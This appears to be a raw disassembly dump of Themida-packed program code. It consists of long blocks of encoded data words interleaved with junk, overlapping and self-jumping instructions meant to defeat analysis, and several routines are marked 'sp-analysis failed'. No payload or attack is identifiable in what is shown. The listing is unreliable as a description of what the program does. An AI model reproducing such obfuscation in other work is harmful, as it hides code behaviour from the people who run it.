0CA8BD6E2h, 0F48A615Eh dd 18F0Fh, 0BFF80000h, 5244CAB2h, 0DA7EBB66h, 0F08BF960h dd 0B8BF6661h, 8B666028h, 6E9FAh, 58330000h, 0B43060A1h dd 9A31BE61h, 8B666AF0h, 12E9CBh, 0E1540000h, 0A6FA1CADh dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 0FE88EB0h, 0A2000000h dd 38D97A06h, 0B55ED9C8h, 8AA6A076h, 830F8CE3h, 18h, 12E8h dd 18324B00h, 3065116Fh, 0B7700883h, 3C44E0CCh, 59789077h dd 0B2C18B5Bh, 13E9BBh, 0B9CC0000h, 3BAEA485h, 5E1E9963h dd 591EDECh, 4E90DDDBh, 28C0FC4h, 8A000000h, 0C38B66FCh dd 168A0Fh, 11E90000h, 7000000h, 7C3AEDCh, 57C3FECDh, 8AE9764Ch dd 0FD6DC3DCh, 13E9h, 81CC8600h, 0D0D59418h, 0BA154011h dd 0CB49A7ADh, 0F12DFE8Fh, 6E876B0h, 9C000000h, 3002CEF9h dd 870F6026h, 0 dd 5E615E50h, 8E8h, 77318200h, 0D9C197EFh, 2840FB5h, 60000000h dd 0F3815961h, 6DE1A7FBh, 8166F18Bh, 664AE2C3h, 427CCE81h dd 885EBF66h, 32BB6651h, 81F55E44h, 0BF5841E2h, 0C2816610h dd 0CE9ADA1h, 0CD000000h, 7C3AC00Eh, 275044F4h, 0E8992BC5h dd 13h, 162CFF0h, 20A6A684h, 806E4064h, 8F8E04F3h, 0E9E428FBh dd 9, 8A0AD42Eh, 4E432BFh, 0DC805F29h, 0C0DE8043h, 0AEF4CA81h dd 0B70F425Dh, 66C58AC0h, 64DA81h, 0E081F960h, 5B8267Fh dd 0F515061h, 5E58D0BFh, 66F1B70Fh, 0E9AC7FB9h, 11h, 0F7ACA12Ch dd 288310D1h, 8B917B3Ch, 1FBFCD4Eh, 0E981F81Fh, 3D55729Dh dd 86B956FCh, 5966215Dh, 5360CA8Bh, 4B2881B9h, 0F615F5Ch dd 188Dh, 13E900h, 582B0000h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh dd 0B37C077Ch, 0EE8FC6Bh, 0EA000000h, 2E8A1347h, 0FAFC3FD2h dd 852CB086h, 0DB8160B9h, 70717545h, 5961D98Bh, 3CF38166h dd 0E98166DCh, 6E8EF6Bh, 24000000h, 0C6A106BBh, 5E875h dd 0D5760000h, 8A28D94Ah, 805E59CFh, 0B9668BD8h, 0BE66B722h dd 81663C5Dh, 819F79D7h, 819DCEC2h, 0F31B376h, 1688h, 108C0F00h dd 0E8000000h, 0Ah, 13FA1377h, 65CBCFCFh, 0B35AAE12h, 28D0F27h dd 8B000000h, 13E9C8h, 42300000h, 71BFDF99h, 0F25C7D72h dd 163E5C69h, 0DBEF8B80h, 0CF81667Fh, 8D0F248Dh, 1Ah, 0EE8h dd 0AF291F00h, 191426F0h, 0D5FD63FFh, 811B2B0Fh, 0BBCD1ACBh dd 47B05F3Bh, 0FE3EC981h, 0F88B28ABh, 0BE9h, 0A4CF4200h dd 6B8A3E68h, 0B5876DFDh, 0E3C180F5h, 816640B6h, 0B9065FC8h dd 293F3FB0h, 0FFBF0F60h, 0DCD88166h, 8F0F61AFh, 1Dh, 14E8h dd 8ED8D100h, 7625B61Bh, 0EB645950h, 30DC495h, 372D5C66h dd 0F98B6612h, 1EBF665Eh, 76C781ECh, 66075BE3h, 807191BFh dd 0F6B901CBh, 6679DCB5h, 7CECD681h, 0EDC88166h, 9E960ECh dd 5A000000h, 0DA047F3Bh, 0D6F77B6Ah, 0A0DEF281h, 0E9615E9Bh dd 0Dh, 0B81B0864h, 0D057171Ch, 0DED452E3h, 14E818h, 0FFB00000h dd 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh, 0BA665989h dd 805A1028h, 0F181A0CCh, 50DDB11Dh, 6E9h, 49579600h, 0B4B9399Bh dd 3860F71h, 80000000h, 0C68116CBh, 75CF3F91h, 3BD78166h dd 89BE60BCh, 0F82288A6h, 0F8D18061h, 6854F281h, 0BE849E7h dd 0A1000000h, 7C00BAF6h, 68206FAh, 0EE9955Ah, 24000000h dd 4C4B8793h, 9856C18Ah, 0AF595D85h, 0DF8B5EE0h, 66CE8B66h dd 800FCA8Bh, 0 ; --------------------------------------------------------------------------- mov ax, cx jz loc_5CDA1A mov ecx, 5383D3EEh loc_5CDA1A: ; CODE XREF: Themida_:005CDA0Fj mov dl, al movsx edx, bx or edi, 777EAE1Bh jg loc_5CDA44 jmp loc_5CDA44 ; --------------------------------------------------------------------------- dd 0A8931748h, 847119BEh, 678E8C96h, 1C83A408h, 0E8A88DF0h ; --------------------------------------------------------------------------- loc_5CDA44: ; CODE XREF: Themida_:005CDA25j ; Themida_:005CDA2Bj mov esi, ecx and eax, 48F712CBh mov esi, 404A8837h mov edx, esi jmp loc_5CDA60 ; --------------------------------------------------------------------------- inc ebx lds edi, [edi-5B912339h] cdq loc_5CDA60: ; CODE XREF: Themida_:005CDA53j jl loc_5CDA71 jno loc_5CDA71 mov ecx, 35B4EC8Dh loc_5CDA71: ; CODE XREF: Themida_:loc_5CDA60j ; Themida_:005CDA66j mov si, bx call near ptr loc_5CDA82+1 xlat sub al, 82h movsb mov ebp, 8C981707h loc_5CDA82: ; CODE XREF: Themida_:005CDA74p enter 8E9h, 0 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- xchg eax, edx jmp short loc_5CDAF6 ; --------------------------------------------------------------------------- cmp al, 0ACh shr byte ptr [eax], 73h pop eax push eax pusha and ecx, 492D562Bh sbb di, 7763h popa pop esi add dh, 5 mov dl, 3Fh sub di, 1875h xor di, 7E58h mov bx, si cmc jmp loc_5CDACC ; --------------------------------------------------------------------------- dd 0B5D9C197h, 0CF5F8797h, 5E5B1FDBh, 0CF122C87h, 0F4731E74h ; --------------------------------------------------------------------------- loc_5CDACC: ; CODE XREF: Themida_:005CDAB3j mov ax, di jz loc_5CDADA add cx, 0F935h loc_5CDADA: ; CODE XREF: Themida_:005CDACFj mov si, di mov bx, cx mov al, 0B5h mov cx, 0ACE7h cld and cx, 734h jmp loc_5CDAF8 ; --------------------------------------------------------------------------- align 2 dw 329Dh db 0Ah, 0B8h ; --------------------------------------------------------------------------- loc_5CDAF6: ; CODE XREF: Themida_:005CDA89j push ebp dec ebx loc_5CDAF8: ; CODE XREF: Themida_:005CDAECj mov edx, eax mov bx, 66Eh sub ebx, 12623AB5h call near ptr loc_5CDB14+1 add bh, [edi+384D287Ah] sbb al, 97h db 64h cdq cdq loc_5CDB14: ; CODE XREF: Themida_:005CDB04p test [esi-7Fh], ah iret ; --------------------------------------------------------------------------- xor al, bh pop edi movsx esi, di pusha jmp loc_5CDB37 ; --------------------------------------------------------------------------- dd 37E4836Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h db 14h, 0AEh, 2Bh ; --------------------------------------------------------------------------- loc_5CDB37: ; CODE XREF: Themida_:005CDB1Fj cmc popa add di, 0E27h mov dl, ah mov edi, 5758AA82h movzx esi, si jmp loc_5CDB55 ; --------------------------------------------------------------------------- db 9Bh, 4Bh, 90h dd 0D9A21FECh db 0D0h ; --------------------------------------------------------------------------- loc_5CDB55: ; CODE XREF: Themida_:005CDB48j push eax mov cl, 92h pop ebx add cx, 272Ah jmp loc_5CDB6F ; --------------------------------------------------------------------------- db 5Ah dd 8567415Ch, 0BE197502h ; --------------------------------------------------------------------------- cwde pop ebp push cs loc_5CDB6F: ; CODE XREF: Themida_:005CDB5Ej or eax, 60D1CB4Ah pusha call near ptr loc_5CDB89+1 mov ch, 8Ah sar ah, 1 xchg eax, ebp scasd sub al, 0FAh loc_5CDB83: ; CODE XREF: Themida_:loc_5CDB89j push esi loc_5CDB84: ; CODE XREF: Themida_:005CDB87j adc esi, 29h loopne loc_5CDB84 loc_5CDB89: ; CODE XREF: Themida_:005CDB76p jnp short loc_5CDB83 pop esi mov eax, 7419B0F5h popa call sub_5CDBAA test eax, 0D051F969h fld qword ptr [edi] test edx, 0E242DBB4h lds edi, [eax] movsb mov bl, 0F3h dec ecx ; =============== S U B R O U T I N E ======================================= sub_5CDBAA proc near ; CODE XREF: Themida_:005CDB92p jz loc_5CDBB1 clc loc_5CDBB1: ; CODE XREF: sub_5CDBAAj pop edi xor dx, 0DDA0h or cx, 0B72h jle loc_5CDBC8 and edi, 5DB1C526h loc_5CDBC8: ; CODE XREF: sub_5CDBAA+12j ; Themida_:005CDC24j adc ecx, 4A135B7Fh mov di, dx mov di, cx jmp loc_5CDBDF ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 8Bh db 54h, 87h, 0B2h ; --------------------------------------------------------------------------- loc_5CDBDF: ; CODE XREF: sub_5CDBAA+2Aj push edx sub bx, 8837h pop edi mov di, 0E6FCh jno loc_5CDBF8 jbe loc_5CDBF8 push esi pop esi loc_5CDBF8: ; CODE XREF: sub_5CDBAA+40j ; sub_5CDBAA+46j movzx ecx, si movzx edx, si call near ptr loc_5CDC08+1 ; CODE XREF: Themida_:005CDC20j popa out 40h, al ; Timer 8253-5 (AT: 8254.2). rcl byte ptr [edx], 1 loc_5CDC08: ; CODE XREF: sub_5CDBAA+54p sub esp, [esi-75h] sub_5CDBAA endp ; sp-analysis failed cli pop esi mov ah, 0C2h push eax pop esi mov bl, dl pusha call loc_5CDC29 rcl cl, 2Bh mov ch, 0B1h icebp sahf jz short near ptr loc_5CDBFE+3 loopne loc_5CDC35 jo short near ptr loc_5CDBC8+4 pop edx mov ch, 4Ah loc_5CDC29: ; CODE XREF: Themida_:005CDC14p mov bh, ch pop eax jmp near ptr loc_5CDC36+1 ; --------------------------------------------------------------------------- aad 0EBh test dh, al loc_5CDC35: ; CODE XREF: Themida_:005CDC22j movsd loc_5CDC36: ; CODE XREF: Themida_:005CDC2Cj xor ah, [ecx+0Fh] mov cl, [eax+eax] ; --------------------------------------------------------------------------- dd 7E90000h, 1D000000h, 7E1EB9A7h, 12E90258h, 44000000h dd 0DDC30CABh, 11EE3548h, 5BD03FD6h, 0A6730C9h, 9E9FCDBh dd 0A1000000h, 0F15927D4h, 0D83A3B6h, 3F68166h, 5BBB6670h dd 58C0F53h, 0BE000000h, 69F959B2h, 0C38166F8h, 8166639Ah dd 66CFFDDFh, 6DEFCA81h, 0BF0F5F57h, 0D3BF0FDBh, 66D88BFCh dd 0E859E181h, 1CBBD48Ah, 60356FC4h, 61C9BF0Fh, 0CDB3BF66h dd 48E0Fh, 0BE660000h, 0DE92E91h, 9000000h, 5FBEF60Dh dd 604AB7Ch, 39AA88E4h, 0F37C680h, 128Bh, 6E800h, 0C8510000h dd 1BEF4B28h, 9366C281h, 80596FD1h, 0B70FA1E4h, 3C2BB9C8h dd 6E92188h, 0D5000000h, 66681C5Bh, 0C78157FBh, 423D0680h dd 0C3B70F5Ah, 2840Fh, 0A2B20000h, 0A8F0Fh, 840F0000h dd 4, 9FFBF66h, 11E853h, 398F0000h, 9E7A0DC5h, 4C3C8B8Fh dd 1A456A5h, 57A91476h, 0B6585A5Eh, 0D6816064h, 44F256C4h dd 8B666061h, 11E8CFh, 0AB9A0000h, 61FF270Ah, 6429B214h dd 0DC8BEFFBh, 0F963A72h, 82h, 0E9615A00h, 10h, 0C93DD0F1h dd 7934F992h, 0DF359B45h, 0A1B023Bh, 0FF98B66h, 685h, 0B9665600h dd 8158D451h, 74EAA3E8h, 7E913h, 0EA20000h, 13164EFh, 3860F79h dd 66000000h, 0FE9D08Bh, 40000000h, 0A327CEC4h, 574D4182h dd 90F607A6h, 0C78B5E21h, 0E9C1BF0Fh, 9, 668B892Ch, 4F82D914h dd 810F36h, 0F000000h, 81h, 7E900h, 70C60000h, 3EE4DC45h dd 38E0F6Eh, 80000000h, 6056D4E0h, 8E8h, 0D4532A00h, 7EB6C2D9h dd 616059A0h, 11E85B61h, 52000000h, 0C01D2557h, 0FB94F673h dd 0BC477DBFh, 0EB8D055Bh, 0BE9BE3BBh, 850F585Fh, 4, 5E616052h dd 0D9D28166h, 6E9F882h, 0F0000000h, 5AAC4E48h, 0BE913h dd 3B270000h, 3C35668Ah, 87162FF6h, 0AEC181D4h, 0E9378FD7h dd 13h, 0D03FD611h, 6730C95Bh, 2C8DB0Ah, 0EF39895Ah, 0BAA99BD9h dd 3F27C155h, 11E9h, 0A0910E00h, 0E7BC936Bh, 45750647h dd 3011B0Fh, 0BBBA63FAh, 0E9370DCFh, 0Bh, 0CF555421h, 0AEA7ACF1h dd 0B8EF4114h, 60B1947Bh, 9E9h, 9C156A00h, 6830044Dh, 0BF0F543Ah dd 0BBEF8AFFh, 0C998848h, 38B0Fh, 0BF0F0000h, 7783BFC0h dd 81534D2Eh, 16792C1h, 0F5805A2Ah, 90E98170h, 6604C93Eh dd 7B42E981h, 11E9h, 0E25BE00h, 977CCBE8h, 61F407C4h, 0ACB84B83h dd 0EEB83A9Ch, 0BE0B7D13h, 0E6D4EC5h, 0CE9FE8Bh, 4F000000h dd 0C3D0F7A5h, 0BC8DBC41h, 6674A859h, 0C88BF88Bh, 2800Fh dd 0CB8A0000h, 810F96B1h, 5, 0FD28166h, 92E58033h, 0D181DF8Bh dd 63B8FF64h, 0DE91AB5h, 0B1000000h, 88F2D5EEh, 0BD4DF798h dd 53BDD876h, 11E9h, 0C088CA00h, 4B66F8F4h, 0F6D38DFDh dd 9C1B5C34h, 0FE9A55Bh, 0DD000000h, 0F6B71A89h, 0E36A92C0h dd 199199ACh, 0F604252h, 1180h, 0CE900h, 4D6E0000h, 0AEB742AEh dd 0CC3AB0E4h, 61F5EE15h, 0FE8h, 0ECA37900h, 70EA68C0h dd 0A6CB3AF9h, 7D91F5B3h, 8A0Fh, 0E95B0000h, 0Ch, 0F47EA222h dd 4F4DC90Eh, 504BDB2Bh, 8F6912B8h, 0AE819h, 84600000h dd 0AAE81757h, 0F814F799h, 0BA5AD68Bh, 454B201Ah, 0DE9h dd 0BF964900h, 844D1CAEh, 3DAC67E2h, 0DE9938Dh, 8E000000h dd 24CBB0BBh, 32428B75h, 950A4189h, 0BF0FE38Ah, 0BF0F50FFh dd 8B6658F9h, 0DE8166F3h, 8A0FD980h, 8, 0B9BB6660h, 616160E5h dd 0FE9h, 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0EA8166B2h dd 4E033758h, 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h dd 3D104B1Bh, 990BBBFCh, 870F2841h, 8, 2890Fh, 61600000h dd 0F53DE380h, 0AE8F5h, 39210000h, 5DBF9B97h, 9C56ED9Bh dd 5810Fh, 31BE0000h, 5A20F63Eh, 0E0C28160h, 6119C9BCh dd 0DE9h, 86C0EA00h, 5D959ADEh, 5F817D29h, 0E080EBD9h dd 9327BA36h, 8B663F80h, 0E08166D9h, 0C180DE2Eh, 0E480F871h dd 816660D7h, 50E816C1h, 615BF1B4h, 0FFC58B3h, 58Dh, 0E2816600h dd 8F0F2F63h, 8, 28C0Fh, 0F0B00000h, 0CE9h, 640F4800h dd 1D911551h, 8290E14h, 0FE8B6626h, 0D850Fh, 8E90000h dd 74000000h, 47968122h, 0BAF7A54Fh, 5494DEA0h, 11B312BEh dd 890F560Fh, 2, 0E95B5850h, 6, 0A1DCF065h, 0B70FEDBCh dd 0E38AF8C9h, 8B66C88Bh, 18E0FF9h, 0F5000000h, 0CE9h dd 0AF4B6800h, 0BCBED582h, 8ECC4560h, 9421B9A7h, 0BE87F94h dd 0AC000000h, 54464F12h, 32B1750h, 11E8C564h, 0B2000000h dd 9B441D41h, 52B5526Ah, 55F054A6h, 0A8A69ED3h, 0F585AF8h dd 0C84h, 68B0F00h, 0F000000h, 8Bh, 0CE800h, 81A20000h dd 990B7116h, 1958BBB6h, 0BF0F743Bh, 8B665ED7h, 13E9C2h dd 43270000h, 9DC93E99h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh dd 8BF5F9B1h, 816060D8h, 219785EEh, 61E78A46h, 10E861h dd 0FE220000h, 0EAB0344Ah, 419E3468h, 2EB18851h, 0F8589B8Fh dd 0AE9F8h, 9BEA0000h, 3F6AA680h, 5A241A04h, 8E9h, 0D29FC500h dd 91733146h, 5810F53h, 66000000h, 19EBD181h, 0FF3BF0Fh dd 0BF0FCEBFh, 0FE8CEh, 691C0000h, 881487D6h, 6D3CBAFAh dd 0D56A54F0h, 0FF56056h, 8Ch, 81586100h, 8FF617E7h, 7E966h dd 9A970000h, 0D00ADA24h, 0B7FCFC7Ch, 3860FD9h, 80000000h dd 80F5D5ECh, 0F080FEE8h, 9E823h, 98CB0000h, 3BB810E0h dd 5BB8AD05h, 5C7EBA66h, 0F48EBB66h, 8B66F560h, 0CA8B61F7h dd 17840Fh, 12E90000h, 0F000000h, 2E158CB3h, 0E8B8C7EBh dd 4CC6F6C5h, 472BBB37h, 0BFB5F50Ah, 0C4DF8166h, 0FEB70FFAh dd 11E8h, 0DF5F5700h, 4A0D1525h, 2499F961h, 5B73FD3h, 0B0B4ECE1h dd 663DB55Bh, 8E9ED981h, 0ADD78060h, 61F6DC80h, 68F0Fh dd 820F0000h, 0 dd 0B9F9BF0Fh, 2A0E9138h, 22C08166h, 0A9EE8119h, 501624B1h dd 0ACBA6650h, 0F5F588Ah, 0E83h, 6E800h, 7DF80000h, 4207F29Ah dd 665F6160h, 0E94090BFh, 0Ah, 8FB6F5A6h, 0D5233E33h, 8B66B7D5h dd 0CE9C6h, 0EF340000h, 490A8DEAh, 0B5179A90h, 65B2A885h dd 0CE9h, 0FA049F00h, 0E3AFD2FEh, 6C201EA3h, 0D18060FDh dd 9E828h, 0CDBE0000h, 9B0A272Fh, 66D93DE0h, 615AC78Bh dd 0AAEA8153h, 5E12B5E7h, 0DE953h, 0C15B0000h, 0EF0B0FB5h dd 9EF48E5Bh, 5A49FA81h, 0BE8h, 3FAADE00h, 3EE7BD44h, 0CBD7FA0Fh dd 0CA8DB866h, 0F08B535Eh, 8A0FFC58h, 2, 860FF98Ah, 6 dd 417CE281h, 870F4337h, 0Ah, 48D0Fh, 0BB660000h, 8E0FB0FCh dd 5, 0FCC716B9h, 14E925h, 7CEC0000h, 3E25AEA6h, 66AEA9BDh dd 0BF0C2751h, 37CE5484h, 0D18B0F7Dh, 0CDBFFA8Ah, 0F05F6C3h dd 850FCABFh, 0 ; --------------------------------------------------------------------------- call sub_5CE3E9 dec eax adc edx, [ebp+34h] jnz short loc_5CE3FA pop ss dec esp mov dh, 10h mov esi, 45785B31h xchg eax, esp ; =============== S U B R O U T I N E ======================================= sub_5CE3E9 proc near ; CODE XREF: Themida_:005CE3D4p pop ebx jmp loc_5CE3FD ; --------------------------------------------------------------------------- db 29h dd 704A52D1h, 40855D99h db 79h, 0B9h ; --------------------------------------------------------------------------- loc_5CE3FA: ; CODE XREF: Themida_:005CE3DDj sub [edx], al cli loc_5CE3FD: ; CODE XREF: sub_5CE3E9+1j mov dx, si and eax, 9F954B9h or ecx, 29515DE2h jmp loc_5CE421 ; --------------------------------------------------------------------------- db 21h, 0F7h, 0ACh dd 5BCC606Dh, 0AC4F7875h, 0A270ED65h db 0B4h ; --------------------------------------------------------------------------- loc_5CE421: ; CODE XREF: sub_5CE3E9+23j adc ecx, 559292B8h mov ax, si add bl, 0ADh stc jmp loc_5CE439 ; --------------------------------------------------------------------------- xchg eax, esp sbb al, 53h cmpsb or edx, esp loc_5CE439: ; CODE XREF: sub_5CE3E9+45j mov esi, ebx mov eax, 75F68F5Eh jmp loc_5CE44B ; --------------------------------------------------------------------------- db 82h, 0E7h, 3Dh db 0C6h, 99h, 0DBh ; --------------------------------------------------------------------------- loc_5CE44B: ; CODE XREF: sub_5CE3E9+57j movsx esi, bx pusha stc xor dh, 0DEh popa cmc push ebx jg loc_5CE45E push ecx pop ecx loc_5CE45E: ; CODE XREF: sub_5CE3E9+6Dj pop edx movzx ecx, di call near ptr loc_5CE467+5 loc_5CE467: ; CODE XREF: sub_5CE3E9+79p db 2Eh push 5FAAA518h sub_5CE3E9 endp ; sp-analysis failed mov edi, 49CC5587h and bl, 52h sub ecx, 3AE40CCEh mov bx, 2F6h cmc jmp loc_5CE48C ; --------------------------------------------------------------------------- db 3Fh, 2Ch, 0AAh dd 0AD91C555h ; --------------------------------------------------------------------------- loc_5CE48C: ; CODE XREF: Themida_:005CE480j call sub_5CE496 out 0A1h, al ; Interrupt Controller #2, 8259A cmpsb cmp [esi], ebx ; =============== S U B R O U T I N E ======================================= sub_5CE496 proc near ; CODE XREF: Themida_:loc_5CE48Cp mov bh, dl pop esi movsx edi, si push eax jno loc_5CE4A9 jnp $+6 loc_5CE4A9: ; CODE XREF: sub_5CE496+7j pop edi jb loc_5CE4B5 or cx, 2DDCh loc_5CE4B5: ; CODE XREF: sub_5CE496+14j movzx esi, ax jmp loc_5CE4C9 ; --------------------------------------------------------------------------- db 4Eh, 0A1h, 0FEh ; --------------------------------------------------------------------------- dec edi push edx push 6476914Ch dec esi push eax loc_5CE4C9: ; CODE XREF: sub_5CE496+22j jb $+6 mov ebx, 3E003F03h xor dx, 0C5B1h mov edx, ebx and ax, 0AAB7h call loc_5CE4F2 test eax, 1D93FA93h scasb sar byte ptr [edi-64AFCF6h], cl xchg eax, ebp sub_5CE496 endp ; sp-analysis failed loc_5CE4F2: ; CODE XREF: sub_5CE496+4Ap mov si, 7750h pop esi push esi mov ebx, 752C1EDAh pop edx mov bh, 0B3h mov bx, ax jmp loc_5CE51C ; --------------------------------------------------------------------------- dd 6EB5C6E1h, 896510E3h, 0CCF514F2h, 588380DEh, 1E9FA151h ; --------------------------------------------------------------------------- loc_5CE51C: ; CODE XREF: Themida_:005CE503j mov eax, 21439067h mov ecx, 331F25BCh jnb loc_5CE532 and edx, 0AD8A61Fh loc_5CE532: ; CODE XREF: Themida_:005CE526j jmp loc_5CE546 ; --------------------------------------------------------------------------- db 43h dd 392AA182h, 0E9228C8Ah, 69C868BEh db 0EAh, 67h ; --------------------------------------------------------------------------- loc_5CE546: ; CODE XREF: Themida_:loc_5CE532j mov di, 0F12Bh mov eax, 75787DD6h mov eax, 54515DE0h mov di, 2226h mov cl, 0CEh push ebx jg loc_5CE563 mov bh, ah loc_5CE563: ; CODE XREF: Themida_:005CE55Bj pop edx stc adc ebx, 7E1E4E6h movsx edi, dx mov ebx, edi mov esi, ebx push ebx jns loc_5CE57F and eax, 5C4A4D3Ah loc_5CE57F: ; CODE XREF: Themida_:005CE573j pop eax jmp loc_5CE596 ; CODE XREF: Themida_:005CE5DBj ; --------------------------------------------------------------------------- db 41h, 47h, 0F0h dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h db 38h, 43h ; --------------------------------------------------------------------------- loc_5CE596: ; CODE XREF: Themida_:005CE580j sbb bh, 27h or dl, 0D1h xor di, 0A41Ah jmp loc_5CE5AC ; --------------------------------------------------------------------------- dw 3646h dd 8CABC40Bh ; --------------------------------------------------------------------------- loc_5CE5AC: ; CODE XREF: Themida_:005CE5A1j mov edx, 24881F39h mov eax, edi jmp loc_5CE5C7 ; --------------------------------------------------------------------------- dd 6427F937h, 625378E9h, 538C51DDh ; --------------------------------------------------------------------------- push esi push 0Fh loc_5CE5C7: ; CODE XREF: Themida_:005CE5B3j mov si, dx jmp loc_5CE5D5 ; --------------------------------------------------------------------------- db 7Fh dd 0C25946AAh db 36h ; --------------------------------------------------------------------------- loc_5CE5D5: ; CODE XREF: Themida_:005CE5CAj call sub_5CE5E9 xchg eax, esp jg short near ptr loc_5CE580+4 dec ebx lodsb popa dec ebx xchg eax, esi cdq retf ; --------------------------------------------------------------------------- mov edi, 39E38D8Dh ; =============== S U B R O U T I N E ======================================= sub_5CE5E9 proc near ; CODE XREF: Themida_:loc_5CE5D5p pusha pusha popa movsx esi, bx popa pop edx jmp loc_5CE5FC ; --------------------------------------------------------------------------- dw 742Ch dd 26ABD6E5h ; --------------------------------------------------------------------------- loc_5CE5FC: ; CODE XREF: sub_5CE5E9+8j jmp loc_5CE606 ; --------------------------------------------------------------------------- xchg eax, ecx mov dl, 0E4h test bl, bl loc_5CE606: ; CODE XREF: sub_5CE5E9:loc_5CE5FCj mov bl, al jmp loc_5CE618 ; --------------------------------------------------------------------------- db 0E1h, 1Fh, 1 dd 0C8B9595Fh, 0C5204D80h ; --------------------------------------------------------------------------- loc_5CE618: ; CODE XREF: sub_5CE5E9+1Fj movzx ebx, di jmp loc_5CE628 ; --------------------------------------------------------------------------- dd 393D80D8h, 0C05DA2FBh ; --------------------------------------------------------------------------- loc_5CE628: ; CODE XREF: sub_5CE5E9+32j jmp loc_5CE637 ; --------------------------------------------------------------------------- db 42h, 0ACh, 8Eh dd 564C3747h db 7Dh, 58h, 3Bh ; --------------------------------------------------------------------------- loc_5CE637: ; CODE XREF: sub_5CE5E9:loc_5CE628j pusha pusha jge $+6 mov di, dx popa jmp loc_5CE659 ; --------------------------------------------------------------------------- dd 94CE339Fh, 0FF6158F3h, 458A38FBh, 0D3C4736Eh ; --------------------------------------------------------------------------- pop edi loc_5CE659: ; CODE XREF: sub_5CE5E9+5Aj popa xor edi, 3A8976A4h jmp loc_5CE66C ; --------------------------------------------------------------------------- db 60h, 2 dup(0FBh) dd 0A0EC8334h ; --------------------------------------------------------------------------- loc_5CE66C: ; CODE XREF: sub_5CE5E9+77j stc jnb loc_5CE685 call sub_5CE67E mov al, ds:21FE3BFBh cld sub_5CE5E9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CE67E proc near ; CODE XREF: sub_5CE5E9+8Ap jge $+6 pop ebx loc_5CE685: ; CODE XREF: sub_5CE5E9+84j clc mov ax, dx stc jle loc_5CE692 mov eax, edx loc_5CE692: ; CODE XREF: sub_5CE67E+Cj mov ebx, ecx movsx edx, di adc ebx, 6A02C3CDh jmp loc_5CE6B1 ; --------------------------------------------------------------------------- xor [edi-21FEC352h], ebx mov ds:0D927546Bh, eax and ebx, [esi-21h] stosb loc_5CE6B1: ; CODE XREF: sub_5CE67E+1Fj movsx edx, bx add di, 0F75Ah mov cl, 5Bh pusha mov esi, 21B3C453h jns loc_5CE6CA movsx edi, si loc_5CE6CA: ; CODE XREF: sub_5CE67E+43j popa jge loc_5CE6E5 jmp loc_5CE6E5 ; --------------------------------------------------------------------------- dw 96D5h dd 0D87BE5B3h, 0E0E4DE88h, 8A098FECh ; --------------------------------------------------------------------------- cld loc_5CE6E5: ; CODE XREF: sub_5CE67E+4Dj ; sub_5CE67E+53j jmp loc_5CE6F3 ; --------------------------------------------------------------------------- dw 5E2Bh dd 18F86697h db 15h, 82h, 33h ; --------------------------------------------------------------------------- loc_5CE6F3: ; CODE XREF: sub_5CE67E:loc_5CE6E5j ; sub_5CE67E+8Ej xor dx, 0BBFEh mov bx, 2FB9h mov bx, 0ECC8h cld pusha call near ptr loc_5CE70C+1 add eax, 0EABD592Bh loc_5CE70C: ; CODE XREF: sub_5CE67E+84p jnb short near ptr loc_5CE6F3+4 sub_5CE67E endp ; sp-analysis failed or al, 0 ; --------------------------------------------------------------------------- dd 0A1A20000h, 0CA1E6D4Ah, 289EFDE2h, 0BF5ACEB1h, 6F788438h dd 5E861h, 0DFF10000h, 0FDBBCC7h, 0E85BFFB7h, 8, 7290D177h dd 0A9875146h, 9839D281h, 0F595DC7h, 481h, 61605200h, 56BB6658h dd 13E99Ah, 37DC0000h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh dd 76821620h, 0BAE6B017h, 4A9DAA56h, 18840Fh, 0E8500000h dd 10h, 0EE580AD2h, 37387EFEh, 5F640DB7h, 0DC1A8CC2h, 0B9665A5Eh dd 66605E6Dh, 7A60F181h, 0AE8h, 54D27500h, 66DEBA0Ch, 8A7BA001h dd 0E96158F7h, 0Dh, 60328312h, 30AAB95Bh, 2701571Eh, 4850F3Ch dd 66000000h, 80DDDCBEh, 3FB56EDDh, 5850Fh, 81660000h dd 8AF6ACF1h, 23C080DAh, 0DE9h, 0E360EA00h, 0BCB975A2h dd 833D92C5h, 0CA8AFB87h, 2A830Fh, 0DE80000h, 0D6000000h dd 7771AA30h, 4C873EAFh, 0F1807C06h, 12E9h, 7047C100h dd 7CF221DCh, 0B34D654Ch, 0B58D574Ah, 5A9061E3h, 33B850F8h dd 5918D78Ah, 7E9h, 0E21F2C00h, 27EBCEC0h, 0F8D68B66h dd 390BD681h, 10E877FCh, 1B000000h, 904F8C2Dh, 0F69FC960h dd 0B39CF318h, 0E982F08Bh, 5, 928469Bh, 0C7815FADh, 60DD99E3h dd 51C78166h, 0CA8166DBh, 5A529021h, 0E466C081h, 13E90F02h dd 6D000000h, 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h dd 0B8601398h, 3A52DB7Ah, 61CE8B66h, 11E8h, 14990900h dd 4D9C156Ah, 3A683004h, 4A5E5454h, 0BF0F4D14h, 0FA8B59D3h dd 39BF6657h, 0AE85F0Dh, 20000000h, 0D8E53E9Dh, 2060B142h dd 0BF0F5F5Eh, 0E78166DBh, 0BB662E4Eh, 8B666577h, 820FF5C7h dd 6, 0DC4FDE81h, 0C68B074Bh, 0AB07BA66h, 0FE9h, 51608800h dd 0AB704C99h, 34B0FEE8h, 0FD36A026h, 14E9h, 0F37CC700h dd 95B52740h, 0F7EE836Eh, 7E0B20D3h, 60984BA3h, 0F18B6641h dd 68B0F52h, 81000000h, 85ED7C8h, 9E85B5Ch, 9D000000h dd 0C9A2FCAh, 7D21E180h, 5AC0B70Fh, 238E0Fh, 11E80000h dd 0D8000000h, 0E6CFB93h, 0CF4D49D1h, 43343BD9h, 0F122C414h dd 7E9h, 0B8A04800h, 8C62F0ABh, 8166F559h, 8AB413F0h, 0D3BF0FD4h dd 1A800Fh, 0E9600000h, 13h, 15B93C86h, 2A986529h, 